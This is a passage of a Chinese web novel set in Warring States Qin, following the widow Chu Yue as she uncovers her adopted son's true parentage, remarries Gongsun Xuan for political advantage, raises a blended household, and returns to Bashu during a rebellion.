门客还未打听出结果,地里的种子尚未发芽,官府,开始来催婚了。 二十八岁,还很年轻。 官府非常支持楚越这样年轻的寡妇再嫁,官媒出面,为她介绍了一个非常有钱的鳏夫。 “他家是我县首屈一指的大户,他本人有公乘的爵位,有田有宅,还有十数个奴隶,粮仓中堆满粮食、肉干。原本以您的身份,他是配不上您的,可是今时不同往日,你一个人,又带着两个孩子,没有娘家。” “他听说你的丈夫为秦国战死沙场,十分触动,只要你愿意,孩子也可以跟着过去,他一定把这几个孩子当成自己的孩子照顾、疼爱。” 在战场上杀了一个军士,只需要一瞬,可是要将孩子养到能上战场的年龄,需要花费很长的时间,十五年,乃至于更长时间。所以秦国非常重视人口,鼓励寡妇再嫁。 官媒说完,小心翼翼打量着楚越的神色,楚越面色平静,就在她酝酿好拒绝的话,准备开口之际,屋中忽然传来珠珠尖叫的声音,嬴和也哭了起来,楚越迅速起身。 午睡的珠珠满头大汗,惊惧蜷缩在角落,嬴和捂着头,坐在地上嚎啕大哭。楚越两头为难,一时不知该先抱起谁。好在官媒热心,抱起嬴和,楚越将珠珠紧抱进怀中。 她牙关紧闭,全身都在发抖。 嬴和头上起了一个很大的包,看样子像是撞的,楚越一手抱着珠珠,一手拉过嬴和,“怎么了?” “姐姐大叫,我过来看,她推我。”嬴和委屈巴巴道。 楚越大概知道发生了什么,照顾两个孩子的妇人对她说过,珠珠午睡时,总是做噩梦,妇人怀疑是孩子小,撞到了什么。听到这个猜测,楚越有些想笑。 她从前可是秦国最大的神棍,以前,都是她跟别人说这种话,现在风水轮流转了。 楚越抱着珠珠,轻轻拍着她的后背,安抚她紧张的情绪,嬴和抽噎着,渐渐止住哭泣,她靠在楚越肩头,含糊不清道:“阿母。” “你先回去吧,我想好之后,会给你答复的。”楚越摸着珠珠的头,目光有些涣散。 见状,官媒也只能先行离去。 秋天的某个傍晚,门客终于带回来确切的消息,“公孙轩的姬妾,曾诞下一子,尚在襁褓便夭折了,与公孙和年纪相仿。剩下的孩子,我们都一一见过,夭折的,也见到了坟冢,但这个孩子没有找到。” 这个时代没有新生儿登记系统,夭折的孩子,也不会记录,门客们走遍咸阳,询问产婆、医师,从数以万计的消息中,逐一筛选、区分、甄别,最终找到了嬴和真正的父母。 虽然早想到这样的结果,可真面对现实,楚越还是感到阵锥心刺骨的疼痛,她捂着胸口,为了不在属下面前失态,她强行压下心头涌动的情绪,对门客道:“我知道了。” 门客退了出去,楚越再也忍不住,泪水颗颗滚落,这真的不是她的儿子,她的儿子,已经不在这个世上了。她痛苦地仰面瘫倒在地,身体缓慢蜷缩成一团,地板老旧,霉朽气浓厚,楚越头抵在手背,热泪滚滚。 角落中,玩连环的珠珠终于抬起头。 她盯着地上楚越看了一会儿,忽然放下连环,站起来,走到她身边,张开手臂抱住了她,“阿母。” 这是数月来,珠珠第一次叫楚越,楚越不得不坐了起来,抱住女儿。 珠珠扑进楚越怀中,像一只受惊的小兽,楚越抱着珠珠,强忍下脆弱,比起哀悼已经夭折的孩子,还是眼前一切更重要。她还有珠珠,和门外追随她的门客。 她得重新站起来,这些追随她、依赖她、仰仗她而生的人,才能活下去。 诙和门客守在门外,过了很长一段时间,门才从内打开,楚越站在台阶上,怀中抱着珠珠,她对门外众人道:“明天,我会去见严君。” 众人先是一惊,而后眼露喜色。 就在诙准备入内,询问楚越具体计划之际,一个门客慌张跑回来,“不好了,小公孙不见了。” 嬴和让门客带他出去玩,结果到了田地,他便一溜烟跑了,而后就不见踪迹,天色渐渐暗了,众人的心立刻悬了起来,这附近多野兽,一个小孩子晚上孤身在外,十分危险。 所有人全体出动,四处找寻嬴和,楚越和珠珠也参与其中,天色黑了下来,但他们却遍寻嬴和而无果,就在楚越急的焦头烂额之际,珠珠忽然指着不远处,“弟弟。” 嬴和见到楚越,开心的朝她跑了过来,他一边跑,一边将手中紧紧攥着一个布囊举起给楚越看,“阿母,看!” 萤火虫闪烁,星点荧光,楚越气不打一处来,“你就为了抓这个?” 嬴和太兴奋了,以至于没有觉察到母亲大人的愤怒,兀自高兴道:“萤火虫会发光,姊姊晚上就不害怕了。” 楚越的心像被什么东西狠狠砸了一下,“你说什么?” “姊姊怕黑啊。”嬴和兴高采烈道:“有萤火虫,它会发光。” 楚越看向嬴和手中捏着的布囊,里面萤火虫不少,她脑海中已经浮现出嬴和抓萤火虫的场景,这么小的虫子,他一只只的抓,每一只都抓的小心翼翼,唯恐它死了,不再发光,不能为姐姐照明。 止住的泪水,再度滚落,她拉过嬴和,心疼的拂过他额头未散的淤青,楚越抱住嬴和,“你就是我的儿子。” 楚越一手拉着一个孩子,母子三人在萤火虫的光亮招摇下,回到屋中,次日天明,楚越带着两个孩子去见了嬴疾,嬴疾看看珠珠,又看看嬴和,眼中全是心疼。 “你若是无力抚养,我可以抚养这两个孩子,他们毕竟,是华弟唯一的血脉。” 楚越莞尔,拒绝道:“多谢兄长美意,但我另有打算。” “我的儿子还小,丈夫死了,一个人,很难维持现在的地位。我希望兄长能帮我做媒,我想改嫁给一个人?” 嬴疾有些诧异,“是谁?” 第76章 转头就跑嬴轩一口气跑出去一百六十里…… 从嬴疾府邸回家的路上,楚越听街边人议论纷纷,她不由驻足,听完故事后,僵在原地良久,正午的太阳渐渐升了起来,她却觉得脊背一阵发凉,手也不自觉的抖了起来。 愤怒,强烈的愤怒,席卷她的全身,可随着愤怒而来的,是无能为力的现实,理性强迫她冷静下来,接受这一切。 门客们面面相觑,最终将目光投向了诙,诙无奈,只得上前,“主公。” 这简短一句,彻底激怒了楚越,她反手,怒不可遏的给了诙一耳光,诙不语,捂着半边脸颊,血从嘴角流下,也不敢抬头。 满咸阳的人,都在传颂一个刚烈义女故事,她为自己的主君阴君伸冤,只身到了王宫门前,向宫墙中的秦王,诉说这些年,她主公对秦国的功劳。 “比干剖心,要商纣王迷途知返,秦王不是亡国之君,一定能分辨是非。辛愿意,和比干一样,献出自己的忠心,让秦王看看,忠臣的心是什么模样。” 没人见过七窍玲珑心,但秦人看到了一个刚烈如比干的女子。 百姓们说着说着这奇女子的事迹,竟不自觉垂下泪来,楚越站在原地,后知后觉想明白,自己为什么毫发无损的活了下来。可是辛一个这么不爱读书的孩子,怎么会知道比干剖心的典故呢? 是谁指使她,做了这一切? 是谁,能如此娴熟的调动咸阳舆论,来达到自己的目的呢? “我辛辛苦苦将她养大,不是为了让她有朝一日为我而死。” 那么顽强而倔强的生命,不该年纪轻轻就夭折,她本该像一朵花一样,绽放在原野之上。可是现在,一切美丽,都已成空,难怪诙不敢提及辛的下落。 楚越怒不可遏的揪住了诙的衣领,逼问道:“婼呢?” 如果辛死了,那婼呢? 诙的目光闪躲,依旧不肯说出真相,“主公放心,她现在还在人世,过得很好,真的,我对天发誓。” “你把她送给魏冉了是不是?” 这个答案,楚越想过,却一直没有机会去验证。 在辛和婼的下落这件事上,门客们的口径出奇一致,三缄其口,避而不谈,楚越现在不是从前大权在握的阴君,对于门客的隐瞒,也不能过于逼问,只能退步。 趁着辛的下落水落石出,楚越趁热打铁。 “贿赂人,无非权柄、金钱和美人,秦贿赂义渠,列国贿赂秦,都有赠女,她是主君的门客,愿意为主君嫁给魏冉,主君怎好辜负?” “你混蛋!”楚越骂道。 说罢,她气愤抱起孩子,大步往前,门客们跟了上去,楚越止步,愤怒转身,盯着身后紧跟自己的诙,绝情的话在嘴边,几乎就要脱口而出。 要他滚,有多远滚多远,这辈子都不要再出现在自己眼前。 这些到嘴边的话,在几道暗中打量的目光注视下,又咽了回去,她现在势单力薄,正是用人之际,为已经过去的事情,抛却忠心为己的门客,她就成了商纣,试问这样的主君,谁敢追随?此时和诙翻脸,是件得不偿失的事情。 楚越深吸口气,压下心头怒火,“先回去。” 陋室低矮,几缕光线从屋顶破洞照入,这破烂的屋子,热天漏太阳,雨天漏水,恐怕天气一冷,凉风就会嗖嗖往里灌,杜甫看到她这房子,都会觉得自己的茅屋为秋风所破歌写的太保守。 可是哪怕住着这样的破屋子,诙和部分门客,依旧没有抛弃自己,而跟随在自己身边,为自己出谋划策,听凭自己驱使。做臣子做到这个地步,已经算是大大的忠臣,更何况,他们还冒着被牵连的风险,在外奔走,营救自己于囹圄。 “白起想救你,可是主君,你一旦改嫁给他,这些年所做的一切,都会付诸东流,我从前劝谏,现在依旧是这番话,我不能让他救你,所以必须在他之前想出办法,受制于人,不如壮士断腕。” “辛和婼,与我想的都一样,我们所有人,都是为了主君。她们想做的事情,已经做到了。辛,回报了主君的恩情,婼,也心甘情愿。既然每个人都得偿所愿,就不要再去想了,当务之急,是往前走。” 楚越心中一片寂静,诙的话,从耳朵中进,又从另一只耳朵溜走,没有一个字落在她心中,她沉声道: “我和严君说,想要再嫁,严君问我,想要改嫁给谁,我原本属意公子繇,他与我也算故交,且性格软弱,较好控制。但问题在于,公子繇的夫人出身韩国,夺嫡恐怕要费一番功夫,于是我告诉严君,我想要改嫁 给公孙轩。” “他没有妻室,出身倡家的妾室,不足为惧,我可以继续保留宗室身份,寻找合适的契机,东山再起。就是我俩有点旧仇,恐怕他不答应。” 当年逃婚的回旋镖,如今正中脸颊,略疼。 “有嬴和小公孙在,难道还怕他不就范吗?”诙垂眸,“主君不必忧心,我会为主君处理好此事。” 楚越抬眸,直勾勾盯着诙的脸看了一会儿,“如此,有劳。” 嬴疾说和,魏冉帮腔,还有陈姬从旁哭啼恳求,嬴轩实在顶不住多方压力,同意了这门婚事。 从陋室出嫁,实在有碍观瞻,魏冉于是提出,楚越可以从他家出嫁,算作她的妹子。 楚越没有拒绝,来到魏冉家,没见到魏冉,先见到了嬴缃和婼,望着面前两人,楚越有些迟疑,倒是她二人上前,一左一右拉住了她。 嬴缃眼睛发红,“堂嫂。” 嬴华是堂兄,嬴轩也是堂兄,流水的堂兄,铁打的堂嫂。 “对不起。”她小声道。 楚越强作微笑,拍了拍嬴缃的手,“朝堂上的事情,本就是诡谲云涌,极其复杂,他照王命而为。” “可是你有什么错,嬴壮挟持珠珠,作为一个母亲,你怎么能不受制于人!”嬴缃为楚越抱不平道,“我也是母亲,怎么能让一个母亲抛弃自己的孩子?你有什么罪?你是被胁迫,又不是主动参与嬴壮谋逆。” “好了,夫人,不要说了。”婼见楚越脸色不好,连忙轻声制止了嬴缃。 嬴缃不满的瞪了婼一眼,可碍于楚越在场,并没有当面发作,而是道:“先进去吧。” 魏冉的新宅,富丽堂皇,季君之乱后,他一跃成为秦国的当权人物,太后的弟弟,王上的亲舅舅,何其显赫,何其风光。雕梁画栋,富丽堂皇,仆从成群,门客上千,府门前求见者如云,摩肩接踵。 嬴缃安置好楚越,本欲再和她说些话,但下人来报,说她的孩子醒了,吵着闹着要见她,嬴缃只得让婼陪着楚越,自己先去照顾孩子。 婼包裹在锦缎华服之中,安安静静坐在楚越眼前,楚越垂首,实在不敢看她,婼伸手,拉过楚越的手,放在膝上,“怎么了?” 楚越抬头,眼中全然愧疚,婼笑了,捏了捏她的脸,“好了,别这样看着我了,我没有亲人,以前叫你一声妹妹,就是真的拿你当妹妹,做姐姐的,怎么能看着妹妹死去,而无动于衷,又怎么能看着你坠入痛苦,而无法自拔呢。你要好好活着,要活的比我好,这样我才会放心。” “魏冉娶的这个公孙,确实有些脾气,但也还好,就是孩子气了一些,我和她相处得还不错,不要担心我,我过得很好,倒是你,我看你黑了,又瘦了,是诙没照顾好你吗?” “哪里瘦了,分明胖了。”楚越抿唇,腰都胖了一圈。 可能是真的人快到中年了,腰围不受控制的增长起来。 “我看你瘦了一圈。”婼心疼道。 楚越靠进婼怀中,用两个人能听清的声音道:“我一定杀了他。” 婼一惊,当即推起楚越,凝视她的眼睛,认真道:“不,你不要怪诙,这件事,是我们一起商量的结果。没有人能逼迫我们做不愿意做的事情,既然做了,就一定是自己深思熟虑的结果,我是这样,辛也是这样。” 楚越垂眸,避开婼的视线,“是吗?” 婼肯定道:“是。” 婚事有条不紊的进行,婚礼的流程,楚越不能说十分熟悉,但不至于陌生,嬴轩就更熟了,火把照亮新人通往新房的路,楚越坐在内室之中,听外间脚步声由远及近,最终在门口停下。 新郎在门口徘徊徘徊最终没有推门的勇气,掉头跑了。 楚越松了口气,丢掉袖子里以备不患的短匕。 嬴轩连夜跑了,等楚越知道这个消息,天已经亮了,他新婚的丈夫,已经一口气跑出去一百六十里地,回到渭水边的云阳附近,继续当他的包工头。秦国重视水利,尤其是关中一带,农业灌溉,需要源源不断的水源,嬴轩修渠修到一半,被嬴疾急召回去。 “你年过而立,却无妻室,岂能一直做鳏夫。” 嬴轩叹口气,“好好的姑娘嫁给我算了吧,兄长。” 他已经看开,不仅妻子娶一个过世一个,就连妾室,也难逃厄运,陈姬缠绵病榻日久,医师说,就在这一两年了。为了让陈姬多活两年,嬴轩自请前去云阳督建水利工程。 也许离得远了,自己就不那么克她了,嬴轩想。 “无碍,楚越说这一点她能改变,她也愿意嫁给你。” 嬴轩诧异抬头,“嗯?” 谁?楚越? 嬴疾点头,确认嬴轩没有听错,要嫁给他的人,就是楚越,鳏夫当续弦,寡妇当改嫁,既然两人一鳏一寡,索性成就一桩姻缘。他以为,嬴轩和楚越两个人的命都比较硬,谁克死谁,尚且未知,说不定,两强相撞,能有不一样的结局。 第77章 再回巴蜀楚越前往巴蜀平定公子辉之乱…… 嬴轩的家庭结构很简单,如夫人陈姬和她的三个儿子,嬴明、嬴尹、嬴樛,出身倡家,在酒馆中跳舞的陈姬,是个非常有能力的女人,在过去十几年的时光正好,完全拿捏了嬴轩。 若非陈姬已经缠绵病榻很久,楚越手中又有嬴和,两人恐怕免不了一场较量,陈姬自知时日无多,需要找个人托付幼子,嬴和、嬴樛兄弟都太小,由楚越抚养,好过嬴轩再娶他人。 而且,陈姬知道楚越是个不凡的女人。 当年嬴轩会同尚是太子荡的先悼武王一起找寻孩子的下落,楚越探访,只在乱冢中找到这块玉佩,人与人的尸骨堆叠在一起,分不清大小,没人能确定这孩子的死活。 出于对一个失去孩子女人的怜悯,也出于对嬴轩和儿子前途的考虑,陈姬一口答应了先惠文后与悼武王的请求,将自己出生不久的孩子,抱给楚越。 作为第三子,嬴和留在家中,还不如抱给楚越,虽然不是很清楚,惠文后和悼武王为何要这么做,阴君楚越并非无子,膝下尚有公孙嬴随,或许她现在的情况很不好又或许即便是再厉害的女人,也逃不过要生一个男孩的桎梏。 出乎陈姬意料的是,楚越居然卷入了季君之乱,就在她为儿子忧心忡忡之际,却听说了辛的事迹,悬着的心,又慢慢放了回去。有臣如此,她一定可以东山再起。 不久之后,楚越从前的舍人带着这个本该随着惠文后与悼武王死去的秘密,出现在她眼前。舍人劝她为三位公子的前途想想,陈姬冷笑声。 若在从前,即便面对的是阴君楚越,她也未必会害怕,又 不是没有挑衅过,出身倡家不是她的错,谁也不能做她的绊脚石。可现在,人之将死,争心也渐渐沉寂,孩子们都还小,嬴轩 他在打仗方面,确实没什么过人之处,这在秦国,是很致命的短板。 她需要楚越,只有楚越能让她的孩子们,步入更辉煌的殿堂,而现在,楚越需要她,陈姬没有任何犹豫,力劝嬴轩迎娶楚越。 陈姬带着几个孩子来见楚越,楚越见陈姬面容憔悴,暮气沉重,当即命她不必多礼,坐下便是。三个孩子在陈姬的命令下,依次上前拜见楚越。 “拜见夫人。” 嬴明比珠珠大几岁,半大少年已经有了成人轮廓,嬴尹比珠珠小一点,嬴樛最小,比嬴和还小。珠珠和两个大的认识,他们之前入宫拜见惠文后,和珠珠玩的很好,珠珠回到家,还念念不忘。 就是两个小的彼此比较陌生,好在嬴樛和嬴和年纪相仿,很快玩到了一起。 楚越和陈姬坐在廊下,远远望着院中嬉戏打闹的孩子,陈姬因病痛折磨的眼中,重新燃起几丝光亮。 “妾出身倡家,从我很小的时候,母亲就告诉妾,一定要抓住每一个可能改变妾命运的人,上天何其眷顾妾,让妾能为夫人尽绵薄之力。夫人,妾的孩子就交给你了。” 陈姬似乎已经看到了将来,烟火缭绕中,她终成为高高在上的先妣,孩子们功成名就,用盛大的礼仪、丰厚的祭品,拜祭自己这位,给予了他们生命的女人。 生前,她从一位倡女,成为秦国公孙实质上的夫人,死后,她依旧显赫,血脉,是斩不断的。 陈姬笑了,心满意足的闭上了眼睛。 自从陈姬病重,府中早为她备下了棺椁,但在商榷葬礼流程时,便与府上管事起了冲突。 国家大事唯祀与戎,祭祀和名分挂钩,名分和尊卑等级挂钩,形成一整套贵贱体系,就是周礼。不同身份的人,行不同的礼,绝对不能混淆,否则就是失礼。 诙以为,陈姬三子不该为陈姬服斩衰,斩衰是五服中最重的一重礼,是君为臣、子为父母所服,若是为陈姬服斩衰,将来又该为楚越服什么礼?他提出应该降一等,服齐衰。 其次,嬴随与嬴和是嬴轩的继子,又是嫡子,陈姬是妾,两人为陈姬,只需要服最低等级的缌麻就够了。 嬴明站了出来,与诙据理力争,陈姬是他的生母,有生养之恩,服斩衰乃是人伦,至于嬴随遇嬴和,楚越既然改嫁给其父,那么两人就该为陈姬服丧,不仅要服,还要服高一级的大功。 商榷之后,诙愿意让步前者,毕竟陈姬是兄弟三人的生母,为生母服丧,理所应当。他本就没打算在这方面为难兄弟三人,只是想借陈姬之死,用服丧的等级,展现出嬴随与嬴和两个人地位。 他二人的地位定下,将来便有备无患。楚越尚且年轻,若她再生下一子,势必与哥哥姐姐相同等级,今天他们和陈姬三子的地位拉得越开,明天楚越之子的地位就越高。 嬴明到底年纪小,况且丧事又拖不得,就要松口,却被弟弟嬴樛劝下,他一句话便问出了事情的关窍,“凡人之所以贵于禽兽,有礼也。师傅说,礼分贵贱。” 此话一出,嬴明有些犹豫,因为母亲临终的叮嘱,他对楚越并没有太多抵触,可嫡母坑庶子,庶子坑嫡母的例子,实在太多,翻一翻史书,随便就掉下一两条。 反观嬴樛,他年纪小,对失去生母感到十分恐慌,这惊惧,激起了他心中自卫的本能,他可以预感到,楚越对他们的威胁。这位嫡母早晚会生下自己的孩子,他对异母的兄弟,感到深深的抵触。 嬴明咬咬牙,半步不退,诙自然也不肯退让,双方僵持,楚越不插手,盯着珠珠和嬴和在屋中练字,同时静静观察着府中众人的动向。 投石问路,才能看清众人立场。有人不想得罪主君的长子嬴明,有人不想得罪楚越这个嫡夫人,短短数日,楚越就将整个府上的情况看得一清二楚。 很快,嬴轩得知陈姬去世,匆匆赶了回来,他在陈姬面前痛哭流涕,嬴明便将此事告知了嬴轩,嬴轩于是去见楚越,人在半路,被楚越的门客拦住。 门客的情绪十分激动,“我乃故公子华门客,公孙要我公子之子,为公孙的妾室服丧,未免太辱我公子,公孙这样做,对的起我公子在天之灵吗?士可杀不可辱,公孙若要如此,请先从我的尸体上踩过去。” 一番连炮珠似的诘问,把嬴轩逼得无话可说,只得讪讪离去。 见父亲也无可奈何,三兄弟对楚越的态度,也发生了转变,嬴明以为该遵从陈姬遗命,听从楚越,不可冒犯,嬴尹不知道怎么办,嬴樛年纪小,却十分倔强,他提出找大宗伯嬴疾做主。 事情陷入两难境地,楚越适时站了出来,象征性申斥诙与门客,“鲁昭公练冠而丧慈母【1】,为庶母服丧的礼仪,自鲁公始也,礼分贵贱,为的是团聚宗族,若固守小礼,而不睦其家,岂非因小失大。” 丧母庶子,被另个一个妾室抚养,抚养庶子的妾室,就是庶子的慈母。庶母不能抚养嫡子,故而慈母这个词,也不能用于嫡子与庶母之间,但鲁昭公又是庶母抚养长大,两人构成实际的‘慈母’关系。从鲁昭公开始,列国开始为庶母服丧。 但也没个具体的规定,主要看个人意愿。 嬴随与嬴和在楚越的安排下,为陈姬服大功,葬礼结束,嬴轩便离家,返回汛地。楚越召来嬴明三兄弟,她高坐堂上,三兄弟并排站在堂中,珠珠与嬴和,站在一边。 楚越面无表情看着下面三个孩子,威严道:“你们的母亲死了,现在,我就是你的母亲,从今以后,你们和珠珠与嬴随一样,都是我的孩子。他们有的,你们也会有,以后,他们会将你们当做同母的兄弟看待,你们也要将他们当做同产的弟妹。” 兄弟三人面面相觑。 楚越带着大大小小一串孩子出现在云阳的晨光中时,土坑中灰头土脸的嬴轩诧异睁大了眼睛,“你们怎么来了?” 他从土坑中爬上来,一不留神,脚下一空,还摔了一跤,霎时尘土飞扬,嬴明和嬴尹立刻上前,扶起父亲。 “来看看你啊。”楚越道。 嬴轩‘啊?’了声,“看我?” 营帐中,几个孩子站成一排,向嬴轩行礼,嬴轩点头,“好了,自家人就不必多礼了,都坐下。”珠珠钻进楚越怀中,看看嬴轩,又困惑的看向楚越。 楚越知道,珠珠是觉得,嬴轩长得很像嬴华,十几岁的时候,她就发现了,惠文后说,可能是因为两人的母亲是姊妹的缘故,他们的父亲是兄弟,母亲也是姐妹,故而长相十分相似。 鼻尖陡然一酸,若是嬴华活着 长相相似,却终究不是那个人。 珠珠站起来,走到嬴轩面前,望着他,略作迟疑,开口唤道:“阿父。” 嬴轩愣了一下,伸手摸了摸珠珠的头,到底应下了,“嗯,珠珠乖。” 不同于珠珠对嬴轩自然好感,嬴和压根没见过嬴华,也不知道自己身世,对亲爹嬴轩完全不感冒,小脸挤在楚越怀中,开始装死。忽然多出来的一个人,于他而言,陌生又恐惧,还不如白起。 见状,嬴轩轻叹口气,当年送出去的时候,就想到这一天了。 “子明,你带弟弟妹妹们出去玩。” “是,父亲。” 嬴明带着几个孩子出去,帐中便只剩下嬴轩与楚越两人,嬴轩也不藏着掖着,开门见山道:“你知道了?” 楚越知道他在说嬴和的身世,答道:“是。” “这件事并没有别人知道,你大可以等着嬴和长大,何必要嫁给我。”嬴轩深深叹口气,似乎很无奈,“你这样的话,九泉之下,我要怎么去见华兄。” 秦人相信灵魂不灭,那死了之后,大家再见,岂非尴尬。 将来芈太后要男宠魏丑夫陪葬时,大臣便是这么问她的,九泉之下,若先王问起,该如何是好? 嬴轩也面临同样的问题,若人死后,真在泉下相逢,他要怎么跟嬴华解释? 哥,开门,我跟嫂子来看你了。 “形势所迫,不得已而为之。”楚越低头,“我来见你,也是为了告诉你这件事,我之所以嫁给你,是因为不得不这样做。等嬴和长大,要耗费的时间太长,我等不起,只能想办法。” “嫁给你,是权宜之计,事成之后,我会和你分开,你担心的问题,不会发生。当然,和我成婚,你也会因此获益,夫妻一体,我得到的东西,你会 自动获得相等的一份。” “那你来云阳做什么?”嬴轩困惑道。 “时机未到。” “那时机什么时候到?” 楚越垂眸,“四年。” 巴蜀之地,这个和她关系十分密切的地方,在历史上曾数次反叛秦国,一次是惠文王晚期,由悼武王出兵平叛,一次是在昭襄王时期,被司马错平定。 楚越再走一遍来时的路,可是这一次,远比之前困难要大,她没有合适的身份,参与这场战争。 时光漫长,四年的时光,足够磨灭掉阴君在秦国的影响力,她必须想办法,减缓自己声名消失的速度。 必须要有身份,参与这一切,也必须要有人记得她,她才能东山再起。与此同时,她还不能失去宗室的身份。 楚越在云阳留了下来,这一带是关中重要的产粮地,故而这地方的水利,也是重中之重。嬴轩奉命,督建此地的水利工程,疏通沟渠,加固堤坝。 他做事认真,事必躬亲,经常和民夫民妇一起,在工地上劳作,吗,忙碌一天,回到帐篷,洗漱之后,倒头便睡。天还没亮,又出发上工,日子过的非常充实。 楚越见云阳一带土地肥沃,起了开荒的心,秦国鼓励农民开荒,开得的土地,均属本人。如果她记得没错,云阳一带,也是郑国渠的灌溉范围,在这里开地,将来升值空间太大了。 为了珠珠,她撸起袖子决定开干。 开荒的过程,是困难的,首先要将土地上的树木砍倒,再放火烧掉野草,清理第一遍的时候,主要是去除地里大块的石头和树根,大石头被垒在外围,圈定土地范围。 珠珠的力气很大,能搬起很大的石头,嬴和搬不起大的,专捡小石头,嬴明也带着两个弟弟来帮忙。第二遍,要将坚固的土地用锄头翻一遍,去掉里面的小石头。 诙累得满头大汗,仰天长叹,“我怎么还在种地!” 众人大笑。 中间休息的时候,门客便在田间地头,席地而坐,教授几个孩子诗书。树上黄鸟鸣叫,他们就唱《黄鸟》,挖到老鼠洞穴,他们就唱《硕鼠》,天色不好,要下雨,他们就唱《终风》。 楚越给他们讲三代故事,夏有《尚书.甘誓》,启作甘誓,征讨不臣,家天下取代公天下,有《五子之歌》,夏传二世,太康失国,他的兄弟悲伤的唱着歌,感慨社稷不保。 商有商颂,《那》、《烈祖》、《长发》、《玄鸟》,讲述商部族的来源,以及部族是如何在商汤领导下,成为天下共主,又如何在武丁时期,开疆拓土,威震天下。 周以后,有采诗之制,王都派出去的采诗官,将各地的诗采集汇总,周王从这些诗判断各地治理情况。每一个地方,每一个时代,都有自己的故事。 诗经不仅是一部诗歌集,还是一本史集。 孩子们拍着手,唱着歌,听诗里的故事。 土地翻好,来年种下种子,到了秋日,硕果累累。不同于别人种的粟,楚越种的小麦,原因无他,她喜欢吃,若非条件限制,她甚至想种点水稻。 嬴轩忙完工地上的事情,也来帮忙晾晒小麦,来的时候,他还为几个孩子带了路边摘的果子,一个果子递到楚越面前,她愣了一下,嬴轩已经将果子塞到了她手里。 “你休息会,我来干。” 珠珠坐在大石头上,专心致志啃着手里的果子,嬴轩挥动铁锹,珠珠身后,金黄的麦子飞扬,在阳光下,每一粒都散发着灿烂光芒。珠珠啃果子的动作忽然停了下来,一颗门牙,插在果肉上。 “阿父!”珠珠大叫,“我的牙!” 嬴轩停下手中的动作,上前查看珠珠的情况,一颗汗水滚进楚越眼中,视线陡然模糊,越模糊,熟悉的感觉越强,她的心陡然跳漏了一拍。 视线渐渐恢复,嬴轩已经安抚好珠珠,楚越便没有继续上前,她低头,视线不妨落到自己鞋上,草鞋边缘,沾满灰泥,她不知怎么了,想起嬴华。 战国时,入门必脱鞋,楚越每次出门前,嬴华都会弯腰为她提鞋,拂去她鞋上沾染的灰土。那时丝履绣云纹,不沾一丝尘埃。 人过得不太如意的时候,总会不自觉怀念从前。 楚越想,自己得再努力点,让生活变得更好才行。 时光飞逝,孩子们一日日长大,珠珠也长大了十三岁,快到加笄之年,她长得高大,皮肤黝黑,乍一看,颇有当年楚越的模样。楚越摸着她的头,“我的儿,你长得真快啊。” 秦国一年一度祭祀大典前后,楚越对嬴轩道:“走吧,回咸阳吧。” 一家人重新回到咸阳,此时距离楚越离开咸阳,已经过去了四年,车驾入城门时,忽然停下,楚越抬眸一看,挡在前路的正是白起的轺车。 白起在车上朝嬴轩一抱拳,“公孙,车夫一时不慎,冒犯了。” 他又朝楚越颔首,“夫人,冒犯了。” “将军先请吧。”嬴轩不打算跟白起抢路。 现在的白起,已经官居庶长,季君之乱后,他因为站队正确,爵位获得了突破进展,从大夫阶,一跃而上,成为庶长,这爵位虽然只是最低等的卿,多用给近支宗室做铺垫。 但对于出身不好的落魄士阶层而言,白起已经是楷模。 突破士阶层,进入大夫级,不是一件容易事,很多人终其一生都无法做到,白起不到三十岁,便得到大夫级爵位,众人以为他再努力拼搏十几年,便能成为卿。 谁料白起又超出了他们的语气,竟然在而立之年,便实现了这一大阶级跃迁,最低级的卿,比起最高级的大夫爵五大夫,待遇翻了一倍,且拥有了上朝面见秦王的权力。 嬴轩这个至今没混上卿位的秦三代自知比不上白起,干脆利落让路。 白起却迟迟未离开,目光越过嬴轩,停留在车上的楚越身上。 珠珠坐不住了,站起来便道:“你这人好无礼,竟敢盯着我母亲看。”看清珠珠的一瞬,白起肉眼可见的恍惚。 楚越拉珠珠在身边坐下,对白起道:“不得无礼。一别多年,将军一如往昔。我夫妻二人将在咸阳久住,将军若不嫌鄙舍简陋,不妨择日来府上一叙。” 嬴轩回头,认真看了楚越一眼。 白起道:“既然夫人相邀,起岂有不遵之意。” 嬴轩深深看了白起一眼,忍不住道:“将军若是不着急,可否让我们先过?” 白起让开一条路,“请。” 管事早打扫好了众人的居所,楚越安顿好几个孩子,返回内室,岂料才一进门,便和嬴轩的实现撞了个正着。嬴轩坐在几案前,似乎等了她很久的样子。 楚越看出他有话和自己说,在他对面坐下,“怎么了?” “珠珠,是我兄长的孩子吗?”嬴轩冷不丁问道。 楚越一惊,“你说什么?” “我一直很疑惑,为什么惠文后和武王后,一定要抱一个孩子给你,我今天在城门遇到白起的时候,恍然间发现,珠珠的眼睛,似乎和白起十分相似。” “兄长爱你,人尽皆知,就算这个孩子不是他的,我想他也会认下来。这样的话,惠文后就必须为你的将来考虑。” “你问这个做什么?”楚越抬眸,直视嬴轩。 “我现在是珠珠的父亲,总要知道真相。” 楚越沉思片刻,道:“她是我的孩子。” 嬴轩已经知道答案了。 祭祀前后,楚越以嬴轩的名义,上书秦王,称自己见天狼星闪烁,天狼星主兵祸,秦国再再生风波。嬴疾得知是楚越所言,力谏秦王,要提前防范。 不久之后,分封至蜀地的公子辉,起兵叛乱,秦国最了解巴蜀之地的将领,莫过于司马错,于是秦王以司马错为将,出兵巴蜀。嬴轩请从,秦王准许,于是他带上楚越,前往巴蜀之地平叛。 楚越再一次去往巴蜀,这个命运转折的地方。 第78章 落幕跨越千年的执念终将落幕 秦军势如破竹,蜀地反叛根本不堪一击,蜀侯授首,叛党被尽数诛灭。蜀地接连叛乱,司马错担忧巴君也心怀不轨,毕竟新巴君还做太子时,是坚定的反秦派。 司马错要亲自前往巴国视察,楚越随同,属下找来了老巫,那个菌子大厨,她的菌子,让楚越想起了那些似乎是前生的事情。 她想问个究竟。 老巫奉命而来,远远望见楚越身后嬴轩,恐惧之下,脚下踉跄,直挺挺摔了出去,幸而宫人眼疾手快,扶住了她。 楚越微微挑眉,回头看了一眼嬴轩,直觉告诉她,老巫心虚,这其间,一定有什么秘密。 抢在对方开口之前,楚越对老巫道:“我都知道了。” 老巫大骇,短暂沉默后,低声道:“夫人要死了,公子不死,夫人就会死。” 听到老巫这番话,楚越毫不动容,平静道:“熊熊燃烧的野心终会吞噬一切,我和他,会走向不可挽回的结果,是吗?” 凭心而论,如果嬴华活着,她就不甘心只做个封君了,嬴华当然不会坐视这一切发生。有些路,一旦走上,就没有回头的机会,起初,她只是想做个寻常的司巫,和心爱的人相守。 